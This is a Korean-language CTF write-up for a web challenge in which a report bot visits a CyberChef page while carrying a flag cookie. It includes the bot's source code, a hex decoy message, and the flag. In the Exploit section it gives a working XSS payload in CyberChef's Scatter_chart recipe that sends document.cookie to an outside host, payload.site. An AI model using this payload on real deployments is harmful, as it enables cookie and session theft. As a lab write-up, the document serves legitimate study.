풀이 사전 지식
+ XSS
XSS
# Problem
# Instance
입력값의 Input에 따라 특정한 값을 뽑아 낼 수 있는 사이트입니다.
# Bot
URL로 Report를 넣을수 있는 페이지입니다.
# Source Code
# app.js
const express = require('express');
const bodyParser = require('body-parser');
const { checkRateLimit, checkUrl, visitUrl } = require('./utils');
const app = express();
app.set('view engine', 'ejs');
app.use(bodyParser.urlencoded({
extended: false
}));
app.get('/', (req, res) => {
res.render('index');
});
app.post('/report', (req, res) => {
const url = req.body.url;
if (!checkUrl(url)) {
res.redirect('/?message=invalid argument');
} else if (!checkRateLimit(req.ip)) {
res.redirect(`/?message=rate limited`);
} else {
visitUrl(url)
.then(() => res.redirect('/?message=reported'));
}
});
app.listen(8001);
JavaScript
복사
# utils.js
const webdriver = require('selenium-webdriver');
const capabilities = webdriver.Capabilities.chrome();
const flag = require('fs').readFileSync('/flag').toString().trim();
const rateLimit = 30 * 1000;
const pageTimeout = 3 * 1000;
const urlPrefix = 'http://cyberchef:8000/';
const timestamps = new Map();
const sleep = (ms) => {
return new Promise((resolve) => {
setTimeout(() => resolve(), ms);
});
};
const checkRateLimit = (key) => {
const now = Date.now();
if (timestamps.has(key) && timestamps.get(key) > now - rateLimit) {
return false;
}
timestamps.set(key, now);
return true;
};
const checkUrl = (url) => {
return !(typeof url !== 'string' || !url.startsWith(urlPrefix) || url.length > 1024);
};
const visitUrl = (url) => {
return new Promise(async (resolve) => {
const driver = new webdriver.Builder('chrome')
.usingServer('http://selenium:4444/wd/hub/')
.withCapabilities(capabilities)
.build();
await driver.get(urlPrefix);
await driver.manage().addCookie({
name: 'flag',
value: flag
});
await driver.manage().setTimeouts({
implicit: pageTimeout,
pageLoad: pageTimeout,
script: pageTimeout
});
await driver.get(url);
await sleep(pageTimeout);
await driver.quit();
resolve();
});
};
module.exports = {
checkRateLimit,
checkUrl,
visitUrl
};
JavaScript
복사
# CyberChef
Console로 확인하면 아래와 같이 확인할 수 있습니다.
43 6f 6e 67 72 61 74 75 6c 61 74 69 6f 6e 73 2c 20 79 6f 75 20 68 61 76 65 20 63 6f 6d 70 6c 65 74 65 64 20 43 79 62 65 72 43 68 65 66 20 63 68 61 6c 6c 65 6e 67 65 20 23 31 21 0a 0a 54 68 69 73 20 63 68 61 6c 6c 65 6e 67 65 20 65 78 70 6c 6f 72 65 64 20 68 65 78 61 64 65 63 69 6d 61 6c 20 65 6e 63 6f 64 69 6e 67 2e 20 54 6f 20 6c 65 61 72 6e 20 6d 6f 72 65 2c 20 76 69 73 69 74 20 77 69 6b 69 70 65 64 69 61 2e 6f 72 67 2f 77 69 6b 69 2f 48 65 78 61 64 65 63 69 6d 61 6c 2e 0a 0a 54 68 65 20 63 6f 64 65 20 66 6f 72 20 74 68 69 73 20 63 68 61 6c 6c 65 6e 67 65 20 69 73 20 39 64 34 63 62 63 65 66 2d 62 65 35 32 2d 34 37 35 31 2d 61 32 62 32 2d 38 33 33 38 65 36 34 30 39 34 31 36 20 28 6b 65 65 70 20 74 68 69 73 20 70 72 69 76 61 74 65 29 2e 0a 0a 54 68 65 20 6e 65 78 74 20 63 68 61 6c 6c 65 6e 67 65 20 63 61 6e 20 62 65 20 66 6f 75 6e 64 20 61 74 20 68 74 74 70 73 3a 2f 2f 70 61 73 74 65 62 69 6e 2e 63 6f 6d 2f 47 53 6e 54 41 6d 6b 56 2e
JavaScript
복사
Hex to Ascii 사이트에 접속하여 문자열을 확인하면 아래와 같은 문자열을 확인할 수 있습니다.
Congratulations, you have completed CyberChef challenge #1!
This challenge explored hexadecimal encoding. To learn more, visit wikipedia.org/wiki/Hexadecimal.
The code for this challenge is 9d4cbcef-be52-4751-a2b2-8338e6409416 (keep this private).
The next challenge can be found at https://pastebin.com/GSnTAmkV.
JavaScript
복사
# Attack Vector
## CyberChef
# CyberChef challenge
계속해서 Challenge 문제가 나오지만 낚시가 아닐까 생각할 수 있습니다.
# CyberChef XSS
실제 utils.js 파일을 분석해보면 아래와 같이 chrome driver를 통해서 웹 사이트에 접속하며, driver에 flag에 Cookie를 설정합니다.
const visitUrl = (url) => {
return new Promise(async (resolve) => {
const driver = new webdriver.Builder('chrome')
.usingServer('http://selenium:4444/wd/hub/')
.withCapabilities(capabilities)
.build();
await driver.get(urlPrefix);
await driver.manage().addCookie({
name: 'flag',
value: flag
});
await driver.manage().setTimeouts({
implicit: pageTimeout,
pageLoad: pageTimeout,
script: pageTimeout
});
await driver.get(url);
await sleep(pageTimeout);
await driver.quit();
resolve();
});
};
JavaScript
복사
위 코드를 바탕으로 XSS 취약점을 이용하여 Flag를 획득하는 문제가 아닐까 생각할 수 있습니다.
또한 아래의 Download CyberChef를 눌러서 소스코드를 다운로드해보면
CyberChef_v9.32.3 버전을 사용하는 것을 확인할 수 있으며, 최신버전을 사용하고 있습니다.
아래의 사이트에 접속하여 Payload를 확인한 뒤
#recipe=Scatter_chart('Line%20feed','Space',false,'','','red%22%3E%3Cscript%3Ealert(%22XSS:%20%22%20%2B%20document.domain)%3C/script%3E',100,false)&input=MTAwLCAxMDA
Bash
복사
실제 CTF URL에 입력시 XSS가 발생하는 것을 확인할 수 있습니다.
# Exploit
# Payload
아래의 URL을 Report하면 Cookie 값을 확인할 수 있습니다.
http://cyberchef:8000/#recipe=Scatter_chart('Line%20feed','Space',false,'','','red%22%3E%3Cscript%3Elocation.href%3d%22https://payload.site/?%22%2Bdocument.cookie%3C/script%3E',100,false)&input=MTAwLCAxMDA
Python
복사
# Flag
hsctf{fa98fe3d32b4302aff1c322c925238a9d935b636f265cbfdd798391ca9c5a905}
Plain Text
복사